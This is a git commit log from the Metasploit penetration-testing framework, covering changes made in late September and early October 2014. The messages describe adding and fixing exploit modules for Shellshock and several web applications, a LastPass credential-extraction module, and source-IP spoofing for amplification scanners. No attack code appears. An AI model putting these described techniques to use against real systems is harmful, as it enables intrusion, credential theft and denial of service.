nstarke b8c2643d56 Converting Module to LoginScanner w/ Specs
The previous commits for this Jenkins CI module relied on an
obsolete pattern.  Consequently, it was necessary to write
this module as a LoginScanner and incorporate the appropriate
specs so that the tests will run properly.
2014-10-06 21:14:10 -05:00
jvazquez-r7 260e829a59 Fix PayloadGenerator to have platform into account, so msfvenom works as expected 2014-10-06 19:20:59 -05:00
jvazquez-r7 0089810026 Merge to update 2014-10-06 19:09:31 -05:00
jvazquez-r7 6f174a9996 Fix obvious introduced bug 2014-10-06 18:56:25 -05:00
jvazquez-r7 6b52ce9101 Delete 'old' generic_sh unix cmd encoder, favor splitting 2014-10-06 18:45:10 -05:00
jvazquez-r7 212762e1d6 Delete RequiredCmd for unix cmd encoders, favor EncoderType 2014-10-06 18:42:21 -05:00
Spencer McIntyre 6ea5d20b11 Land #3955, fix NoMethodError for wordpress_login_enum 2014-10-06 17:22:29 -04:00
jvazquez-r7 3aadaf672e Fix @lsanchez-r7's feedback, single expectation per test and avoid explicit use of subject 2014-10-06 16:08:20 -05:00
sinn3r d3354d01f0 Fix #3808 - NoMethodError undefined method `map'
NoMethodError undefined method `map' due to an incorrect use of
load_password_vars
2014-10-06 15:42:51 -05:00
sinn3r 17f278effd Fix #3822 - Support file:// syntax for check() 2014-10-06 13:37:14 -05:00
Jon Hart 8c8ccc1d54 Update Authors 2014-10-06 11:30:39 -07:00
us3r777 03888bc97b Change the check function
Use regex based detection
2014-10-06 18:56:01 +02:00
us3r777 29111c516c Wordpress Infusionsoft Gravity Forms CVE-2014-6446
The Infusionsoft Gravity Forms plugin 1.5.3 through 1.5.10 for
WordPress does not properly restrict access, which allows remote
attackers to upload arbitrary files and execute arbitrary PHP
code via a request to utilities/code_generator.php.
2014-10-06 14:10:01 +02:00
agix 12cd686bc4 Delete Encoder possibility in msfpayload 2014-10-06 11:22:53 +02:00
nstarke 69400cf280 Fixing Author Declaration
I had accidentally listed myself three times as the author.
Fixing that issue so that I am only declaring myself once.
2014-10-05 23:17:28 -05:00
Martin Vigo 8567edc22f Merge remote-tracking branch 'upstream/master' 2014-10-05 20:57:27 -07:00
nstarke c0a3691817 Adding Jenkins-CI Login Scanner
Per Github issue #3871 (RM8774), I have added a
login scanner module for Jenkins-CI installations.
2014-10-05 22:08:34 -05:00
James Lee a65ee6cf30 Land #3373, recog
Conflicts:
	Gemfile
	Gemfile.lock
	data/js/detect/os.js
	lib/msf/core/exploit/remote/browser_exploit_server.rb
	modules/exploits/android/browser/webview_addjavascriptinterface.rb
2014-10-03 18:05:58 -05:00
Tod Beardsley 097d2bfbb5 Land #3922: Metasploit Park banner 2014-10-03 16:32:56 -05:00
Jon Hart a341756e83 Support spoofing source IPs for NTP readvar, include status messages 2014-10-03 14:05:57 -07:00
Jon Hart fa4414155a Only include the exact readvar payload, not any padding 2014-10-03 13:58:13 -07:00
Jon Hart 65c1a8230a Address most Rubocop complaints 2014-10-03 13:47:29 -07:00
Jon Hart 0715c671c6 Update NTP readvar module to detect DRDoS, UDPScanner to be faster 2014-10-03 13:28:30 -07:00
Tod Beardsley d048bb7725 Add some color to the msfpark banner
It looks kind of naked without some color compared to all the other
banners.
2014-10-03 14:52:54 -05:00
Samuel Huckins f2fc0d88ef Lands #3943, changes to engine require 2014-10-03 14:26:50 -05:00
Matt Buck 0bb4eac259 Rename the method for optional requires
MSP-11412
2014-10-03 14:06:13 -05:00
Matt Buck 88cbf22ef0 Optionally require mdm, as well
MSP-11412
2014-10-03 13:49:39 -05:00
Matt Buck 478dbd32f2 Bump to newly-released versions of gems
MSP-11412
2014-10-03 12:07:23 -05:00
Matt Buck f748256e47 Use the prerelease versions of the gems
MSP-11412
2014-10-03 10:29:10 -05:00
William Vu f7e709dcb3 Land #3941, new WPVDB reference 2014-10-03 10:17:02 -05:00
Christian Mehlmauer f45b89503d change WPVULNDBID to WPVDB 2014-10-03 17:13:18 +02:00
0a2940 f2b9aeed74 typo 2014-10-03 11:02:56 +01:00
0a2940 f60f6d9c92 add exploit for CVE-2011-1485 2014-10-03 10:54:43 +01:00
Spencer McIntyre 7da22d064d Remove an unnecessary var and fix process_close 2014-10-02 20:52:45 -04:00
Matt Buck 04dbfb9ad6 Bump metasploit gem dependencies
MSP-11412
2014-10-02 18:11:13 -05:00
Brandon Perry 2c9446e6a8 Update f5_icontrol_exec.rb 2014-10-02 17:56:24 -05:00
sinn3r 6f50ef581c Land #3935 - Fix SNMP scanners on OS X/FreeBSD 2014-10-02 16:38:36 -05:00
sinn3r 6d7870a4ac Land #3934 - New :vuln_test option to BES 2014-10-02 16:31:50 -05:00
Christian Mehlmauer 33b37727c7 Added wpvulndb links 2014-10-02 23:03:31 +02:00
Matt Buck dabec92e61 Ensure require of metasploit/credential/engine is optional 2014-10-02 14:46:56 -05:00
Matt Buck 7ed1977d0b Specific require all metasploit gem dependencies' engines
MSP-11412
2014-10-02 14:20:10 -05:00
Matt Buck 71efeb0c26 Also PATH out the deps for metasploit-credential and metasploit_data_models
MSP-11412
2014-10-02 14:08:35 -05:00
sinn3r 0820a4fe6a Land #3933 - Fix cmd_exec with Python Meterpreter on OS X 2014-10-02 13:48:19 -05:00
Matt Buck 05c71af03c PATH out the deps to metasploit-concern and metasploit-model, for the moment 2014-10-02 13:29:50 -05:00
Samuel Huckins 0dfd8e25b8 Land #3846, Rex::ImageSource specs 2014-10-02 12:33:56 -05:00
William Vu ee92648693 Land #3906, Zsh completion for Metasploit 2014-10-02 11:06:10 -05:00
HD Moore 24eec0e2a6 Swap to recog ~> 1.0 pre Luke's comment 2014-10-02 09:51:41 -05:00
Joe Vennix 7861b17e16 Use write() to fix SNMP on osx/freebsd. 2014-10-02 09:15:43 -05:00
HD Moore 5f4098f650 Bump recog to ~> 1.0.0 2014-10-02 00:51:37 -05:00
Joe Vennix 6571213f1c Remove un-truthy doc string. 2014-10-01 23:41:02 -05:00
Joe Vennix 5a8eca8946 Adds a :vuln_test option to BES, just like in BAP.
I needed this to run a custom JS check for the Android
webview vuln when the exploit is served straight
through BES. The check already existed when using BAP,
so I tried to preserve that syntax, and also added a
:vuln_test_error as an optional error message.

This commit also does some mild refactoring of un-
useful behavior in BES.
2014-10-01 23:34:31 -05:00
Joe Vennix b1b8cba4c5 Rescue an IOError on channel double-close.
This was causing output from python meterpreter
commands run on OSX to be discarded when the error
was raised, making cmd_exec not-so-useful.
2014-10-01 22:35:41 -05:00
HD Moore 0380c5e887 Add CVE-2014-6278 support, lands #3932 2014-10-01 18:25:41 -05:00
William Vu c1b0acf460 Add CVE-2014-6278 support to the exploit module
Same thing.
2014-10-01 17:58:25 -05:00
William Vu 5df614d39b Land #3928, release fixes 2014-10-01 17:21:08 -05:00
HD Moore 77bb2df215 Adds support for both CVEs, lands #3931 2014-10-01 17:06:59 -05:00
sinn3r 3ec6166193 Land #3927 - Shellshock PureFPTd extauth 2014-10-01 17:00:55 -05:00
HD Moore 4dd285c319 Merge pull request #4 from jlee-r7/feature/recog
Feature/recog
2014-10-01 16:43:18 -05:00
William Vu 51bc5f52c1 Add CVE-2014-6278 support
Going with an OptEnum to simplify the code for now...
2014-10-01 16:40:55 -05:00
Spencer McIntyre 8cf718e891 Update pureftpd bash module rank and description 2014-10-01 17:19:31 -04:00
James Lee 5cb016c1b1 Use Match constant in BES as well 2014-10-01 16:17:13 -05:00
James Lee 7e05ff343e Fix smbdirect
Also some whitespace and a typo in output message
2014-10-01 16:02:59 -05:00
James Lee a21752bc9c Fix NoMethodError on os, mark DCs as 'server' 2014-10-01 16:02:46 -05:00
James Lee a75d47aad9 Use yardoc for new methods
Also substitute '&&' for 'and', and fix some whitespace
2014-10-01 16:02:33 -05:00
Tod Beardsley 4fbab43f27 Release fixes, all titles and descs 2014-10-01 14:26:09 -05:00
Spencer McIntyre cf6029b2cf Remove the less stable echo stager from the exploit 2014-10-01 15:15:07 -04:00
Spencer McIntyre 632edcbf89 Add CVE-2014-6271 exploit via Pure-FTPd ext-auth 2014-10-01 14:57:40 -04:00
William Vu 9bfd013e10 Land #3923, mv misc/pxexploit to local/pxeexploit
Also renamed typo'd pxexploit -> pxeexploit.
2014-09-30 17:48:06 -05:00
William Vu 5fc57f7ed5 Land #3924, rm dlink_upnp_exec_noauth_telnetd
Deprecated.
2014-09-30 17:46:07 -05:00
William Vu 039e544ffa Land #3925, rm indeces_enum
Deprecated.
2014-09-30 17:45:38 -05:00
sinn3r be1df68563 Remove auxiliary/scanner/elasticsearch/indeces_enum.rb
Time is up, so good bye.
2014-09-30 17:24:21 -05:00
sinn3r 9e67beb396 Remove modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb
Time is up, so good bye.
2014-09-30 17:21:55 -05:00
sinn3r b17396931f Fixes #3876 - Move pxeexploit to local directory 2014-09-30 17:16:13 -05:00
William Vu 909ac522d1 Add metasploit-park.txt banner to msfconsole
Obviously a homage to Jurassic Park. :)
2014-09-30 16:28:23 -05:00
agix aad9589c45 Msfpayload doesn't work if ENCODER option is set 2014-09-30 22:08:34 +02:00
Tod Beardsley c1cb8bcfdd Land #3918, bugfix on self.rhost mssql_login 2014-09-30 13:36:42 -05:00
sinn3r 296a51f661 Land #3917 - Description & module title update 2014-09-30 12:37:38 -05:00
sinn3r 1e2d860ae1 Fix #3914 - Inconsistent unicode names 2014-09-30 12:19:27 -05:00
William Vu 5ea968f3ee Update description to prefer the exploit module 2014-09-30 11:34:28 -05:00
sinn3r 7163b8c55a Fixes #3915 - NoMethodError private method `rhost'
There's no self.rhost, but rhost is defined
2014-09-30 11:34:16 -05:00
William Vu 162e42080a Update title to reflect scanner status 2014-09-30 11:04:17 -05:00
sinn3r 10dc6ed2fe Land #3912 - Update check method and additional references 2014-09-30 10:18:56 -05:00
William Vu de65ab0519 Fix broken check in exploit module
See 71d6b37088.
2014-09-29 23:03:09 -05:00
William Vu 12d7073086 Use idiomatic Ruby for the marker 2014-09-29 22:32:07 -05:00
William Vu 71d6b37088 Fix bad header error from pure Bash CGI script 2014-09-29 22:25:42 -05:00
William Vu df44dfb01a Add OSVDB and EDB references to Shellshock modules 2014-09-29 21:39:07 -05:00
sinn3r b2d2101be2 Land #3913 - Change hardcoded table prefixes 2014-09-29 17:55:45 -05:00
sinn3r 8f3e03d4f2 Land #3903 - ManageEngine OpManager / Social IT Arbitrary File Upload 2014-09-29 17:53:43 -05:00
Christian Mehlmauer b266233e95 fix bug 2014-09-30 00:21:52 +02:00
Pedro Ribeiro 533b807bdc Add OSVDB id 2014-09-29 21:52:44 +01:00
HD Moore 3b5eb42b55 Switch to Msf::OperatingSystems::Match::WINDOWS 2014-09-29 15:50:25 -05:00
HD Moore 878f3d12cd Remove kind_of? per @trosen-r7 2014-09-29 15:39:10 -05:00
HD Moore 77efa7c19a Change if/else to case statement 2014-09-29 15:37:58 -05:00
HD Moore bfadfda581 Fix typo on match string for opera_configoverwrite 2014-09-29 15:34:35 -05:00
sinn3r ffe5aafb2f Land #3905 - Update exploits/multi/http/apache_mod_cgi_bash_env_exec 2014-09-29 15:19:35 -05:00
sinn3r 21b2d9eb3f Land #3899 - WordPress custom-contact-forms Plugin SQL Upload 2014-09-29 14:40:28 -05:00
sinn3r 9e5826c4eb Land #3844 - Add the JSObfu mixin to Firefox exploits 2014-09-29 11:15:14 -05:00
sinn3r ababc3d8ff Land #3869 - HP Network Node Manager I PMD Buffer Overflow 2014-09-29 11:00:12 -05:00
HD Moore 8fa666b75d Verbose messages on why a connection is closed 2014-09-28 17:41:21 -07:00
Martin Vigo ba42469e34 Merge remote-tracking branch 'upstream/master' 2014-09-28 02:31:49 -07:00
Martin Vigo 8dafc93dc3 Meet rubocop and msftify rules 2014-09-28 01:59:02 -07:00
Meatballs d5959d6bd6 Land #2585, Refactor Bypassuac with Runas Mixin 2014-09-28 09:24:22 +01:00
Meatballs e14dd9900b Land #3896, Change Max LOGLEVEL to 3 2014-09-28 09:18:29 +01:00
Meatballs 67c25c20ca Land #3357, Run Local Exploits in AutoRunScript 2014-09-28 09:12:26 +01:00
Meatballs 3fc57109e6 Dont rescue Exception 2014-09-28 09:12:03 +01:00
Spencer McIntyre 3181d4e080 Add zsh completion definitions for utilities 2014-09-27 20:12:02 -04:00
Spencer McIntyre fe12ed02de Support a user defined header in the exploit too 2014-09-27 18:58:53 -04:00
Pedro Ribeiro f20610a657 Added full disclosure URL 2014-09-27 21:34:57 +01:00
Pedro Ribeiro 030aaa4723 Add exploit for CVE-2014-6034 2014-09-27 19:33:49 +01:00
Pedro Ribeiro ce8452a17a Merge pull request #3 from rapid7/master
bla
2014-09-27 19:24:32 +01:00
HD Moore 64dbc396dd Add header specification to check module, lands #3902 2014-09-27 12:58:29 -05:00
William Vu 044eeb87a0 Add variable HTTP header
Also switch from OptEnum to OptString for flexibility.
2014-09-27 12:39:24 -05:00
Brandon Perry 161a145ec2 Create f5_icontrol_exec.rb 2014-09-27 10:40:13 -05:00
Christian Mehlmauer c51c19ca88 bugfix 2014-09-27 14:56:34 +02:00
Christian Mehlmauer 9a424a81bc fixed bug 2014-09-27 13:46:55 +02:00
Christian Mehlmauer 1c30c35717 Added WordPress custom_contact_forms module 2014-09-27 13:42:49 +02:00
sinn3r c75a0185ec Land #3897 - Fix check for apache_mod_cgi_bash_env & apache_mod_cgi_bash_env_exec 2014-09-26 17:06:23 -05:00
jvazquez-r7 80d9af9b49 Fix spacing in description 2014-09-26 17:03:28 -05:00
jvazquez-r7 9e540637ba Add module for CVE-2014-5377 ManageEngine DeviceExpert User Credentials 2014-09-26 17:02:27 -05:00
jvazquez-r7 3259509a9c Use return 2014-09-26 16:04:15 -05:00
jvazquez-r7 0a3735fab4 Make it better 2014-09-26 16:01:10 -05:00
jvazquez-r7 3538b84693 Try to make a better check 2014-09-26 15:55:26 -05:00
sinn3r ae82ebc734 Change max LogLevel to 3
There is no such thing as a LogLevel 5.
2014-09-26 14:20:47 -05:00
jvazquez-r7 6e2d297e0c Credit the original vuln discoverer 2014-09-26 13:45:09 -05:00
jvazquez-r7 1fa488f791 Land #3893, @jlee-r7's exploit module for DHCP CVE-2014-2014-6271 2014-09-26 13:43:33 -05:00
jvazquez-r7 e1f00a83bc Fix Rex because domainname and domain_name were duplicated 2014-09-26 13:40:52 -05:00
jvazquez-r7 5044117a78 Refactor dhclient_bash_env to use the egypt's mixin mods 2014-09-26 13:34:44 -05:00
nullbind ebf4e5452e Added mssql_escalate_dbowner module 2014-09-26 10:29:35 -05:00
jvazquez-r7 a4bc17ef89 deregister options needed for exploitation 2014-09-26 10:15:46 -05:00
jvazquez-r7 54e6763990 Add injection to HOSTNAME and URL 2014-09-26 10:13:24 -05:00
jvazquez-r7 a31b4ecad9 Merge branch 'review_3893' into test_land_3893 2014-09-26 08:41:43 -05:00
James Lee 86f85a356d Add DHCP server module for CVE-2014-6271 2014-09-26 01:24:42 -05:00
sinn3r 38c8d92131 Land #3888 - exploit module version of CVE-2014-6271 2014-09-26 00:31:41 -05:00
HD Moore b878ad2b75 Add a module to exploit bash via DHCP, lands #3891
This module is just a starting point for folks to test their DHCP client implementations and we plan to significantly overhaul this once we get a bit of breathing room.
2014-09-25 23:38:40 -05:00
Ramon de C Valle 9c11d80968 Add dhclient_bash_env.rb (Bash exploit)
This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting dhclient network configuration
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
2014-09-26 01:37:00 -03:00
HD Moore 52ffddd639 Adds domain and url options to DHCP/PXE server, lands #3889
There are serious style and code quality issues with this class and normally I would push for a full refactor, but given the urgency of delivering DHCP functionality to support the bash issues, we will have to refactor the DHCP Server code another day.
2014-09-25 22:43:51 -05:00
HD Moore 6516abb3a0 Fix an ancient bug in the DHCP mixin, lands #3890 2014-09-25 22:39:51 -05:00
Ramon de C Valle bdac82bc7c Fix lib/msf/core/exploit/dhcp.rb 2014-09-25 22:18:26 -03:00
Ramon de C Valle 5dde73bb51 Add domain name and url options to DHCP server 2014-09-25 19:58:42 -03:00
jvazquez-r7 ad864cc94b Delete unnecessary code 2014-09-25 16:18:01 -05:00
Joe Vennix 2b02174999 Yank Android->jsobfu integration. Not really needed currently. 2014-09-25 16:00:37 -05:00
jvazquez-r7 9245bedf58 Make it more generic, add X86_64 target 2014-09-25 15:54:20 -05:00
Samuel Huckins be6552dae7 Clarifying VMware priv esc via bash module name 2014-09-25 14:34:09 -05:00
jvazquez-r7 d8c03d612e Avoid failures due to bad payload selection 2014-09-25 13:49:04 -05:00
jvazquez-r7 91e5dc38bd Use datastore timeout 2014-09-25 13:36:05 -05:00
jvazquez-r7 8a43d635c3 Add exploit module for CVE-2014-6271 2014-09-25 13:26:57 -05:00
jvazquez-r7 e0fc30c040 Land #3884, @wvu's check and reporting for apache_mod_cgi_bash_env 2014-09-25 09:52:17 -05:00
William Vu f66c854ad6 Fix description to be less lulzy 2014-09-25 07:09:08 -05:00
William Vu 9ed28408e1 Favor check_host for a scanner 2014-09-25 07:06:12 -05:00
William Vu 62b74aeaed Reimplement old check code I was testing before
I would like to credit @wchen-r7 for providing advice and feedback.

@jvazquez-r7, too! :)
2014-09-25 06:38:25 -05:00
Joe Vennix 979d046bbf Land #3885, @mubix's improvements to vmware root.
This prevents the need to kill any processes before getting root
privs, which is a good timesaver.
2014-09-25 01:38:57 -05:00
William Vu d9120cd586 Fix typo in description
Running on fumes here...
2014-09-25 01:22:08 -05:00
William Vu 790df96396 Fix missed var 2014-09-25 01:19:14 -05:00
Rob Fuller f13289ab65 remove debugging 2014-09-25 02:16:19 -04:00
William Vu e051cf020d Add missed mixin 2014-09-25 01:14:58 -05:00
William Vu 27b8580f8d Add protip to description
This gets you lots of shells.
2014-09-25 01:10:22 -05:00
Rob Fuller 8cb4ed4cb7 re-add quotes -oops 2014-09-25 02:09:12 -04:00
William Vu b1e9b3664e Improve false positive check 2014-09-25 01:01:11 -05:00
Rob Fuller 6fb587ef96 update to use vmware-vmx-stats 2014-09-25 01:55:04 -04:00
William Vu 8daf8d4339 Report vuln for apache_mod_cgi_bash_env
Now with fewer false positives! It's kinda like a check method.
2014-09-25 00:42:14 -05:00
jvazquez-r7 37753e656e Land #3882, @jvennix-r7's vmware/bash privilege escalation module 2014-09-25 00:42:12 -05:00
jvennix-r7 a9049f445b Merge pull request #15 from jvazquez-r7/test_3882
Fix processes check
2014-09-25 00:39:13 -05:00
jvazquez-r7 456d731aa3 Fix processes check 2014-09-25 00:24:39 -05:00
William Vu fd34bdb22f Add missed fix (formatting) 2014-09-24 23:12:29 -05:00
William Vu 5a59b7cd89 Fix formatting 2014-09-24 23:12:11 -05:00
William Vu d70c5b889a Add missed fix (add peer) 2014-09-24 22:53:33 -05:00
William Vu e6f0736797 Add peer 2014-09-24 22:48:51 -05:00
Tod Beardsley 47ff2fdf89 Land #3883, more generic HTTP method/CMD 2014-09-24 22:44:18 -05:00
William Vu 8b6519b5b4 Revert shortened reference
But it's so long. :(
2014-09-24 22:43:33 -05:00
William Vu ecb10ebe28 Add variable HTTP method and other stuff 2014-09-24 22:41:01 -05:00
Joe Vennix f6708b4d83 Check for running vmware processes first. 2014-09-24 19:11:38 -05:00
Tod Beardsley ff5398bf3f Land #3880, bash scanner module 2014-09-24 19:03:37 -05:00
William Vu a600a0655d Scannerify the module 2014-09-24 18:58:39 -05:00
William Vu abadf65d8d Clean up title and formatting 2014-09-24 18:42:43 -05:00
William Vu 2562964581 Revert to my original code of using CMD 2014-09-24 18:00:13 -05:00
Joe Vennix 99da950734 Adds osx vmware/bash priv escalation. 2014-09-24 17:44:14 -05:00
William Vu 6ae578f80f Add Stephane Chazelas as an author 2014-09-24 17:14:18 -05:00
William Vu b2555408a4 Rename module
I don't think we're gonna make a supermodule like we had hoped.
2014-09-24 16:55:10 -05:00
William Vu 31e9e97146 Replace unnecessary reference with a better one 2014-09-24 16:52:43 -05:00
William Vu fc04bf9d48 Update description
This is what I had when @todb-r7 beat me to the punch. >:P
2014-09-24 16:22:58 -05:00
wvu-r7 2b127ea2ee Merge pull request #6 from todb-r7/fixup-pr3880
Fix description
2014-09-24 16:19:00 -05:00
Tod Beardsley 2f788c2e0c Fix description 2014-09-24 16:13:05 -05:00
Joe Vennix b96a7ed1d0 Install a global object in firefox payloads, bump jsobfu. 2014-09-24 16:05:00 -05:00
William Vu ca63fe931d Add CVE-2014-6271 PoC 2014-09-24 16:02:59 -05:00
jvazquez-r7 e4f71d79ac Fix grammar 2014-09-24 15:17:09 -05:00
Joe Vennix 5d234c0e01 Pass #send in this so jsobfu is not confused. 2014-09-24 15:07:14 -05:00
jvazquez-r7 0247e4a521 Change RequiredCmd for reverse_bash_telnet_ssl cmd payload 2014-09-24 00:40:14 -05:00
jvazquez-r7 f2cfbebbfb Add module for ZDI-14-305 2014-09-24 00:22:16 -05:00
Brendan Coles 5f6e84580c Clean up and use Metasploit::Credential 2014-09-24 01:00:23 +00:00
sinn3r 11b9a8a6ae Land #3814 - Advantech WebAccess dvs.ocx GetColor BoF 2014-09-23 15:06:21 -05:00
jvazquez-r7 b021ff4399 Add noche tags 2014-09-23 13:11:06 -05:00
jvazquez-r7 5c6236e874 Fix rop chain to allow VirtualAlloc when end of stack is too close 2014-09-23 13:08:26 -05:00
sinn3r 35f788a1a4 Land #3848 - Add specs for Rex::Arch 2014-09-23 13:03:40 -05:00
sinn3r fe1842520c Land #3849 - Rex::ExtTime rspec 2014-09-23 13:00:17 -05:00
sinn3r 31ecbfdc4e Land #3756 - EMC AlphaStor Device Manager Opcode 0x75 Command Injection 2014-09-23 12:57:46 -05:00
jvazquez-r7 0dfc2d3f87 Add specs for Rex::ExtTime 2014-09-22 14:55:14 -05:00
Jon Hart 259a368577 Land #3841, @jabra-'s modifications to ssdp_amp to support spoofing 2014-09-22 12:28:46 -07:00
Jon Hart fc4c1907d3 Land #3839, @jabra-'s updates to dns_amp to support spoofing 2014-09-22 12:14:39 -07:00
jvazquez-r7 db587afac8 Add specs for Rex::Arch 2014-09-22 14:10:55 -05:00
Jon Hart 8f63075da4 Land #3837, @jabra-'s update to chargen scanner to support spoofing 2014-09-22 12:02:01 -07:00
Jon Hart 650b65250f Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2014-09-22 11:51:10 -07:00
Jon Hart 4e9f1282de Land #3834, @jabra-'s updates to UDPscanner to support spoofing 2014-09-22 11:49:53 -07:00
Jon Hart e86b18cdd4 Add sanity check for NUM_REQUESTS 2014-09-22 11:48:39 -07:00
jvazquez-r7 701d6470c9 Add specs for Rex::Oui 2014-09-22 13:28:07 -05:00
darkbushido 091be3f45a Merge branch 'pr/3845' into upstream 2014-09-22 13:01:00 -05:00
jvazquez-r7 45011ae87f Add shared examples 2014-09-22 12:15:04 -05:00
jvazquez-r7 a677749f5b Add specs for #read_asciiz and fix bugs there 2014-09-22 12:14:21 -05:00
jvazquez-r7 f804d42ddc Add specs for Memory#index 2014-09-22 11:43:18 -05:00
jvazquez-r7 b121764003 Add specs for Memory#subsource 2014-09-22 11:30:30 -05:00
jvazquez-r7 3500e1ce7c Add specs for Memory#close 2014-09-22 11:18:21 -05:00
jvazquez-r7 a612caf1ae Finish examples for Memory#read 2014-09-22 11:17:09 -05:00
jvazquez-r7 df7ee55962 Add first specs for Rex::ImageSource::Memory#read 2014-09-22 11:06:34 -05:00
jvazquez-r7 77122895db Add specs for Rex::ImageSource::Memory#initialize 2014-09-22 11:02:24 -05:00
jvazquez-r7 a249eb1026 Add specs for Disk#subsource and Disk#close 2014-09-22 10:50:11 -05:00
jvazquez-r7 23bf36bc75 Start specs for Disk#subsource 2014-09-22 10:37:56 -05:00
jvazquez-r7 3f1eea55a6 Add specs for Disk#read and Disk#index 2014-09-22 10:35:54 -05:00
Luke Imhoff f61afe2598 Merge branch 'master' into bug/MSP-11368/boot-profiling
MSP-11368
2014-09-22 10:00:07 -05:00
jvazquez-r7 46e4235e79 Add spec templates 2014-09-22 09:16:21 -05:00
William Vu ebacb26e51 Land #3838, msfvenom badchar fix 2014-09-22 03:08:57 -05:00
William Vu 8a0f86fb27 Land #3843, typo fix for download_file 2014-09-22 00:48:46 -05:00
Joe Vennix ec88957ff4 Whitespace tweaks. 2014-09-21 23:57:58 -05:00
Joe Vennix d9e6f2896f Add the JSObfu mixin to a lot of places. 2014-09-21 23:45:59 -05:00
Joe Vennix 829248f427 Land #3840, @wchen-r7's tweaks to os.js and module addition. 2014-09-21 22:38:27 -05:00
sinn3r 2a714a7c4d Fix a typo
Downloading and deleting are two very different things. Thanks Dan.
2014-09-21 18:35:26 -05:00
Martin Vigo c361bdfcba Merge branch 'master' of github.com:martinvigo/metasploit-framework 2014-09-20 23:24:39 -07:00
Martin Vigo e96fe529e9 Add module to extract/decrypt LastPass credentials 2014-09-20 23:22:26 -07:00
sinn3r 2e96026725 avoid saying 'should' 2014-09-21 00:56:13 -05:00
sinn3r e1cfc74c32 Move jsobfu to a mixin 2014-09-21 00:39:04 -05:00
sinn3r cd037466a6 upate doc 2014-09-20 23:40:47 -05:00
sinn3r 9191af6241 Update js_obfuscate 2014-09-20 23:38:35 -05:00
sinn3r a9420befa4 Default to 0 2014-09-20 21:39:20 -05:00
sinn3r 046045c608 Chagne option description 2014-09-20 21:38:57 -05:00
sinn3r fd5aee02d7 Update js_obfuscate 2014-09-20 21:36:17 -05:00
sinn3r cd70014446 Fix os detection rspec
no more window
2014-09-20 21:29:13 -05:00
Josh Abraham b7a0847114 SRC IP spoofing added to the SSDP amplification module 2014-09-20 21:37:01 -04:00
sinn3r 7bab825224 Last changes 2014-09-20 18:39:09 -05:00
sinn3r 2d828a2144 Update rspec 2014-09-20 18:09:22 -05:00
sinn3r 135bed254d Update BrowserExploitServer for JSObfu 2014-09-20 17:59:36 -05:00
Joe Vennix d9a713b415 Decode the badchars string correctly. 2014-09-20 17:48:03 -05:00
Josh Abraham bb018de3a1 chargen src IP spoofing 2014-09-20 16:08:52 -04:00
Josh Abraham cd8b1318e0 send data based on input not @probe 2014-09-20 15:18:58 -04:00
Josh Abraham 3fb00ece9e refactored the code based on PR feedback 2014-09-20 14:10:00 -04:00
mfadzilr a2a2ca550e add test result on different windows version 2014-09-20 20:06:30 +08:00
mfadzilr dd71c666dc added osvdb reference and software download url, use FileDropper method
for cleanup
2014-09-20 15:31:28 +08:00
sinn3r d52236fe05 Land #3835 - JSObfu to a gem 2014-09-20 01:38:45 -05:00
mfadzilr 19ed594e98 using FileDropper method for cleanup 2014-09-20 10:52:21 +08:00
Joe Vennix 8e1b00ce95 Adds JSObfu.disabled for spec stubbing, fixes BES specs. 2014-09-19 20:42:05 -05:00
Joe Vennix df999db547 Add spec to ensure gem loads without error. 2014-09-19 19:49:01 -05:00
Joe Vennix 0f4be63903 Move JSObfu a gem then pull it into the Rex namespace. 2014-09-19 19:10:39 -05:00
jvazquez-r7 9acccfe9ba Fix description 2014-09-19 17:18:59 -05:00
jvazquez-r7 d826132f87 Delete CVE, add EDB 2014-09-19 17:16:03 -05:00
jvazquez-r7 7afbec9d6c Land #2890, @Ahmed-Elhady-Mohamed module for OSVDB 93034 2014-09-19 17:12:49 -05:00
jvazquez-r7 1fa5c8c00c Add check method 2014-09-19 17:11:16 -05:00
jvazquez-r7 ce0b00bb0b Change module location and filename 2014-09-19 16:59:35 -05:00
jvazquez-r7 0267e889e2 Use FileDropper 2014-09-19 16:58:21 -05:00
jvazquez-r7 6fd5027e05 Avoid UploadPath datastore option, parse from response 2014-09-19 16:55:28 -05:00
jvazquez-r7 2ce9bdf152 Use target_uri.path.to_s instead of uri 2014-09-19 16:43:40 -05:00
jvazquez-r7 eb55c7108b Fix indentantion again 2014-09-19 16:41:07 -05:00
jvazquez-r7 cbfb7e600d Use Rex::MIME::Message 2014-09-19 16:29:09 -05:00
jvazquez-r7 cffb28b5d3 Fix indentantion 2014-09-19 16:18:46 -05:00
Luke Imhoff 5884cbc196 Optimize skip logic in #update_all_module_details
MSP-11368

Use `Hash<String, Set<String>>` instead of `Array<(String, String)>` so
that `include?` call is faster because (1) it's only search through
reference names of the same module_type and (2) `Set#include?` is faster
than `Array#include?`.  This change is a 8.20% average reduction in boot
time compare to b863978028, for a overall
reduction of 40.95% over b5c3c87790.
See statistics at
https://docs.google.com/spreadsheets/d/1TnZIUFIR1S5nCnkeM-7XR3AVSbyCl39x2mItJKJCOqg/edit?usp=sharing
and data at
https://drive.google.com/folderview?id=0Bx1hRHfpRW92VEFvQ2FaN3RoWWs&usp=drive_web
2014-09-19 15:34:10 -05:00
jvazquez-r7 b16085baa6 Land #3244, @dmaloney-r7's fix for integer comparisions on metasm 2014-09-19 15:31:37 -05:00
jvazquez-r7 c00094ba6e Land #3345, @mvdevnull's auxiliary module for OSVDB 106815, Alienvault sqli 2014-09-19 15:01:21 -05:00
jvazquez-r7 62414e2214 Add Timeout to exploit sqli 2014-09-19 15:00:54 -05:00
jvazquez-r7 db6372ec8b Do minor module cleanup 2014-09-19 14:43:35 -05:00
Luke Imhoff 8b5a146067 Wrap Array#include? usage
MSP-11368

Wrap skipped.include? call to confirm it is the culprit for
Array#include? inside of with_connection in profile.
2014-09-19 14:38:12 -05:00
jvazquez-r7 4a9294e3bf Mark module as not executable 2014-09-19 14:36:44 -05:00
jvazquez-r7 405ac34a16 Fix author name 2014-09-19 13:56:13 -05:00
jvazquez-r7 79d5fb56d4 Land #3829, @jhart-r7's UDP emtpy probe scanner 2014-09-19 13:54:35 -05:00
Jon Hart 737f77d31a Cleaner output when PORTS is invalid 2014-09-19 11:12:14 -07:00
Jon Hart 3493987300 report_service when we find something this way 2014-09-19 10:45:06 -07:00
Luke Imhoff 9b92d0d6d4 Use Rex::Compat.open_file to open profiling report
MSP-11368

Use Rex::Compat.open_file instead of `system('open <pdf>')` so that
